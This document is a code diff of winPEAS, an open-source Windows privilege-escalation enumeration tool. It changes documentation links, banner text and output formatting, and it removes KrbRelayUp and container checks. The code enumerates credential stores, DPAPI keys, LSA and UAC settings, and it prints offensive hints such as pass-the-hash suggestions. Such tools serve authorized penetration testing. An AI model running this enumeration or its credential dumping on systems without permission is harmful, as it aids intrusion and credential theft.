using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.AppLocker;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.AuditPolicies;
|
||||
using winPEAS.Info.SystemInfo.DotNet;
|
||||
using winPEAS.Info.SystemInfo.GroupPolicy;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo.Ntlm;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.Ntlm;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
@@ -79,8 +79,6 @@ namespace winPEAS.Checks
|
||||
PrintInetInfo,
|
||||
PrintDrivesInfo,
|
||||
PrintWSUS,
|
||||
PrintKrbRelayUp,
|
||||
PrintInsideContainer,
|
||||
PrintAlwaysInstallElevated,
|
||||
PrintLSAInfo,
|
||||
PrintNtlmSettings,
|
||||
@@ -99,7 +97,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Basic System Information");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit");
|
||||
Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo();
|
||||
basicDictSystem["Hotfixes"] = Beaprint.ansi_color_good + basicDictSystem["Hotfixes"] + Beaprint.NOCOLOR;
|
||||
Dictionary<string, string> colorsSI = new Dictionary<string, string>
|
||||
@@ -107,7 +105,7 @@ namespace winPEAS.Checks
|
||||
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
||||
};
|
||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||
Console.WriteLine();
|
||||
System.Console.WriteLine();
|
||||
Watson.FindVulns();
|
||||
|
||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||
@@ -342,7 +340,7 @@ namespace winPEAS.Checks
|
||||
static void PrintWdigest()
|
||||
{
|
||||
Beaprint.MainPrint("Wdigest");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS");
|
||||
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest", "UseLogonCredential");
|
||||
if (useLogonCredential == "1")
|
||||
Beaprint.BadPrint(" Wdigest is active");
|
||||
@@ -353,7 +351,7 @@ namespace winPEAS.Checks
|
||||
static void PrintLSAProtection()
|
||||
{
|
||||
Beaprint.MainPrint("LSA Protection");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)");
|
||||
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\LSA", "RunAsPPL");
|
||||
if (useLogonCredential == "1")
|
||||
Beaprint.GoodPrint(" LSA Protection is active");
|
||||
@@ -364,17 +362,17 @@ namespace winPEAS.Checks
|
||||
static void PrintCredentialGuard()
|
||||
{
|
||||
Beaprint.MainPrint("Credentials Guard");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
|
||||
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
|
||||
|
||||
if (lsaCfgFlags == "1")
|
||||
{
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
||||
}
|
||||
else if (lsaCfgFlags == "2")
|
||||
{
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
||||
}
|
||||
else
|
||||
@@ -388,7 +386,7 @@ namespace winPEAS.Checks
|
||||
static void PrintCachedCreds()
|
||||
{
|
||||
Beaprint.MainPrint("Cached Creds");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user");
|
||||
string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT");
|
||||
if (!string.IsNullOrEmpty(cachedlogonscount))
|
||||
{
|
||||
@@ -525,7 +523,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("UAC Status");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC");
|
||||
Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies();
|
||||
|
||||
Dictionary<string, string> colorsSI = new Dictionary<string, string>()
|
||||
@@ -558,7 +556,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking WSUS");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus");
|
||||
string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate";
|
||||
string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU";
|
||||
string HKLM_WSUS = RegistryHelper.GetRegValue("HKLM", path, "WUServer");
|
||||
@@ -572,7 +570,7 @@ namespace winPEAS.Checks
|
||||
else if (using_HKLM_WSUS == "0")
|
||||
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
||||
else
|
||||
Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -588,58 +586,12 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintKrbRelayUp()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking KrbRelayUp");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#krbrelayup");
|
||||
|
||||
if (Checks.CurrentAdDomainName.Length > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" The system is inside a domain (" + Checks.CurrentAdDomainName + ") so it could be vulnerable.");
|
||||
Beaprint.InfoPrint("You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges");
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.GoodPrint(" The system isn't inside a domain, so it isn't vulnerable");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintInsideContainer()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking If Inside Container");
|
||||
Beaprint.LinkPrint("", "If the binary cexecsvc.exe or associated service exists, you are inside Docker");
|
||||
Dictionary<string, object> regVal = RegistryHelper.GetRegValues("HKLM", @"System\CurrentControlSet\Services\cexecsvc");
|
||||
bool cexecsvcExist = File.Exists(Environment.SystemDirectory + @"\cexecsvc.exe");
|
||||
if (regVal != null || cexecsvcExist)
|
||||
{
|
||||
Beaprint.BadPrint("You are inside a container");
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.GoodPrint("You are NOT inside a container");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintAlwaysInstallElevated()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking AlwaysInstallElevated");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated");
|
||||
string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
|
||||
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
|
||||
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
|
||||
@@ -769,18 +721,13 @@ namespace winPEAS.Checks
|
||||
|
||||
try
|
||||
{
|
||||
string formatString = " {0,-100} {1,-70} {2}\n";
|
||||
string formatString = " {0,-100} {1}\n";
|
||||
|
||||
Beaprint.NoColorPrint(string.Format($"{formatString}", "Name", "CurrentUserPerms", "Sddl"));
|
||||
Beaprint.NoColorPrint(string.Format($"{formatString}", "Name", "Sddl"));
|
||||
|
||||
foreach (var namedPipe in NamedPipes.GetNamedPipeInfos())
|
||||
{
|
||||
var colors = new Dictionary<string, string>
|
||||
{
|
||||
{namedPipe.CurrentUserPerms.Replace("[","\\[").Replace("]","\\]"), Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors);
|
||||
Beaprint.BadPrint(string.Format(formatString, namedPipe.Name, namedPipe.Sddl));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -1070,7 +1017,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
||||
{
|
||||
val = BitConverter.ToString((byte[])kvp.Value);
|
||||
val = System.BitConverter.ToString((byte[])kvp.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -1086,12 +1033,12 @@ namespace winPEAS.Checks
|
||||
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
||||
}
|
||||
|
||||
if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
||||
}
|
||||
|
||||
if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
||||
}
|
||||
@@ -1107,7 +1054,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
|
||||
|
||||
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
@@ -78,7 +80,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Users");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges");
|
||||
|
||||
List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true);
|
||||
|
||||
@@ -109,7 +111,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Current Token privileges");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token");
|
||||
Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs();
|
||||
Beaprint.DictPrint(tokenPrivs, ColorsU(), false);
|
||||
}
|
||||
@@ -156,7 +158,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("RDP Sessions");
|
||||
List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
|
||||
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions();
|
||||
if (rdp_sessions.Count > 0)
|
||||
{
|
||||
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
||||
@@ -261,7 +263,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Password Policies");
|
||||
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
||||
List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
|
||||
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy();
|
||||
Beaprint.DictPrint(PPy, ColorsU(), false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -280,7 +282,7 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var logonSession in logonSessions)
|
||||
{
|
||||
Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
|
||||
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" +
|
||||
$" Logon Server: {logonSession.LogonServer}\n" +
|
||||
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
||||
$" Logon Id: {logonSession.LogonId}\n" +
|
||||
@@ -315,7 +317,7 @@ namespace winPEAS.Checks
|
||||
if (User32.GetLastInputInfo(ref lastInputInfo))
|
||||
{
|
||||
var currentUser = WindowsIdentity.GetCurrent().Name;
|
||||
var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
|
||||
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time;
|
||||
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
||||
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
||||
|
||||
@@ -362,7 +364,7 @@ namespace winPEAS.Checks
|
||||
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
||||
}
|
||||
|
||||
Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
|
||||
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
|
||||
$" User Name : {localUser.name}\n" +
|
||||
$" User Id : {localUser.user_id}\n" +
|
||||
$" Is Enabled : {enabled}\n" +
|
||||
|
||||
@@ -48,7 +48,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking Windows Vault");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
var vaultCreds = VaultCli.DumpVault();
|
||||
|
||||
var colorsC = new Dictionary<string, string>()
|
||||
@@ -68,7 +68,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking Credential manager");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault");
|
||||
|
||||
var colorsC = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -153,7 +153,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for DPAPI Master Keys");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
||||
var masterKeys = KnownFileCredsInfo.ListMasterKeys();
|
||||
|
||||
if (masterKeys.Count != 0)
|
||||
@@ -181,7 +181,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for DPAPI Credential Files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi");
|
||||
var credFiles = KnownFileCredsInfo.GetCredFiles();
|
||||
Beaprint.DictPrint(credFiles, false);
|
||||
|
||||
@@ -201,7 +201,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking for RDCMan Settings Files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager",
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager",
|
||||
"Dump credentials from Remote Desktop Connection Manager");
|
||||
var rdcFiles = RemoteDesktop.GetRDCManFiles();
|
||||
Beaprint.DictPrint(rdcFiles, false);
|
||||
@@ -307,7 +307,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking AppCmd.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe");
|
||||
|
||||
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
|
||||
|
||||
@@ -368,7 +368,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking SSClient.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#scclient-sccm");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm");
|
||||
|
||||
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe")))
|
||||
{
|
||||
|
||||
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -153,7 +153,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -327,8 +327,6 @@ namespace winPEAS.Helpers.AppLocker
|
||||
if (depth == FolderCheckMaxDepth) return false;
|
||||
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
var subfolders = Directory.EnumerateDirectories(path);
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
@@ -365,7 +363,6 @@ namespace winPEAS.Helpers.AppLocker
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -33,7 +34,9 @@ namespace winPEAS.Helpers
|
||||
private static string Advisory =
|
||||
"winpeas should be used for authorized penetration testing and/or educational purposes only." +
|
||||
"Any misuse of this software will not be the responsibility of the author or of any other collaborator. " +
|
||||
"Use it at your own devices and/or with the device owner's permission.";
|
||||
"Use it at your own networks and/or with the network owner's permission.";
|
||||
|
||||
private static string Version = "ng";
|
||||
|
||||
/////////////////////////////////
|
||||
///////// PRINT THINGS /////////
|
||||
@@ -41,31 +44,32 @@ namespace winPEAS.Helpers
|
||||
public static void PrintBanner()
|
||||
{
|
||||
Console.WriteLine(BLUE + string.Format(@"
|
||||
{0}((((((((((((((((((((((((((((((((
|
||||
{0}(((((((((((((((((((((((((((((((((((((((((((
|
||||
{0}(((((((((((((({2}**********/{1}##########{0}(((((((((((((
|
||||
{0}(((((((((((({2}********************/{1}#######{0}(((((((((((
|
||||
{0}(((((((({2}******************{3}/@@@@@/{0}{2}****{1}######{0}((((((((((
|
||||
{0}(((((({2}********************{3}@@@@@@@@@@/{0}{2}***,{1}####{0}((((((((((
|
||||
{0}((((({2}********************{3}/@@@@@%@@@@/{0}{2}********{1}##{0}(((((((((
|
||||
{0}((({1}############{2}*********{3}/%@@@@@@@@@/{0}{2}************{0}((((((((
|
||||
{0}(({1}##################(/{2}******{3}/@@@@@/{0}{2}***************{0}((((((
|
||||
{0}(({1}#########################(/{2}**********************{0}(((((
|
||||
{0}(({1}##############################(/{2}*****************{0}(((((
|
||||
{0}(({1}###################################(/{2}************{0}(((((
|
||||
{0}(({1}#######################################({2}*********{0}(((((
|
||||
{0}(({1}#######(,.***.,(###################(..***.{2}*******{0}(((((
|
||||
{0}(({1}#######*(#####((##################((######/({2}*****{0}(((((
|
||||
{0}(({1}###################(/***********(##############({0})(((((
|
||||
{0}((({1}#####################/*******(################{0})((((((
|
||||
{0}(((({1}############################################{0})((((((
|
||||
{0}((((({1}##########################################{0})(((((((
|
||||
{0}(((((({1}########################################{0})(((((((
|
||||
{0}(((((((({1}####################################{0})((((((((
|
||||
{0}((((((((({1}#################################{0})(((((((((
|
||||
{0}(((((((((({1}##########################{0})(((((((((
|
||||
{0}((((((((((((((((((((((((((((((((((((((
|
||||
{0}((((((((((((((((((((((((((((((", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
|
||||
{0}*((,.,/((((((((((((((((((((/, */
|
||||
{0},/*,..*((((((((((((((((((((((((((((((((((,
|
||||
{0},*/((((((((((((((((((/, .*//((//**, .*(((((((*
|
||||
{0}(((((((((((((((({2}**********/{1}########## {0}.(* ,(((((((
|
||||
{0}(((((((((((/{2}********************/{1}####### {0}.(. (((((((
|
||||
{0}((((((..{2}******************{3}/@@@@@/{2}***/{1}###### {0}./(((((((
|
||||
{0},,....{2}********************{3}@@@@@@@@@@{2}(***,{1}#### {0}.//((((((
|
||||
{0}, ,..{2}********************{3}/@@@@@%@@@@{2}/********{1}##{0}((/ /((((
|
||||
{0}..(({1}###########{2}*********{3}/%@@@@@@@@@{2}/************{0},,..((((
|
||||
{0}.({1}##################(/{2}******{3}/@@@@@{2}/***************{0}.. /((
|
||||
{0}.({1}#########################(/{2}**********************{0}..*((
|
||||
{0}.({1}##############################(/{2}*****************{0}.,(((
|
||||
{0}.({1}###################################(/{2}************{0}..(((
|
||||
{0}.({1}#######################################({2}*********{0}..(((
|
||||
{0}.({1}#######(,.***.,(###################(..***.{2}*******{0}..(((
|
||||
{0}.({1}#######*(#####((##################((######/({2}*****{0}..(((
|
||||
{0}.({1}###################(/***********(##############({0}...(((
|
||||
{0}.(({1}#####################/*******(################{0}.((((((
|
||||
{0}.((({1}############################################{0}(..((((
|
||||
{0}..((({1}##########################################{0}(..(((((
|
||||
{0}....(({1}########################################{0}( .(((((
|
||||
{0}......(({1}####################################{0}( .((((((
|
||||
{0}((((((((({1}#################################{0}(../((((((
|
||||
{0}(((((((((/{1}##########################{0}(/..((((((
|
||||
{0}(((((((((/,. ,*//////*,. ./(((((((((((((((.
|
||||
{0}(((((((((((((((((((((((((((((/", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
|
||||
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(LYELLOW + "ADVISORY: " + BLUE + Advisory);
|
||||
@@ -78,15 +82,15 @@ namespace winPEAS.Helpers
|
||||
|
||||
// Patreon link
|
||||
Console.WriteLine(GREEN + string.Format(@"
|
||||
/---------------------------------------------------------------------------------\
|
||||
/---------------------------------------------------------------------------\
|
||||
| {1}Do you like PEASS?{0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
| {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
|
||||
| {3}Follow on Twitter{0} : {2}@hacktricks_live{0} |
|
||||
| {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|
||||
|---------------------------------------------------------------------------------|
|
||||
|---------------------------------------------------------------------------|
|
||||
| {3}Become a Patreon{0} : {2}https://www.patreon.com/peass{0} |
|
||||
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
|
||||
| {3}Respect on HTB{0} : {2}SirBroccoli & makikvues{0} |
|
||||
|---------------------------------------------------------------------------|
|
||||
| {1}Thank you!{0} |
|
||||
\---------------------------------------------------------------------------------/
|
||||
\---------------------------------------------------------------------------/
|
||||
", GREEN, BLUE, RED, YELLOW) + NOCOLOR);
|
||||
|
||||
}
|
||||
@@ -98,13 +102,13 @@ namespace winPEAS.Helpers
|
||||
PrintBanner();
|
||||
}
|
||||
|
||||
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @hacktricks_live" + NOCOLOR);
|
||||
Console.WriteLine(YELLOW + " WinPEAS" + GREEN + Version + NOCOLOR + YELLOW + " by @carlospolopm, makikvues(makikvues2[at]gmail[dot]com)" + NOCOLOR);
|
||||
|
||||
PrintMarketingBanner();
|
||||
|
||||
PrintLegend();
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||
LinkPrint("https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:");
|
||||
}
|
||||
|
||||
static void PrintLegend()
|
||||
@@ -121,31 +125,26 @@ namespace winPEAS.Helpers
|
||||
public static void PrintUsage()
|
||||
{
|
||||
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||
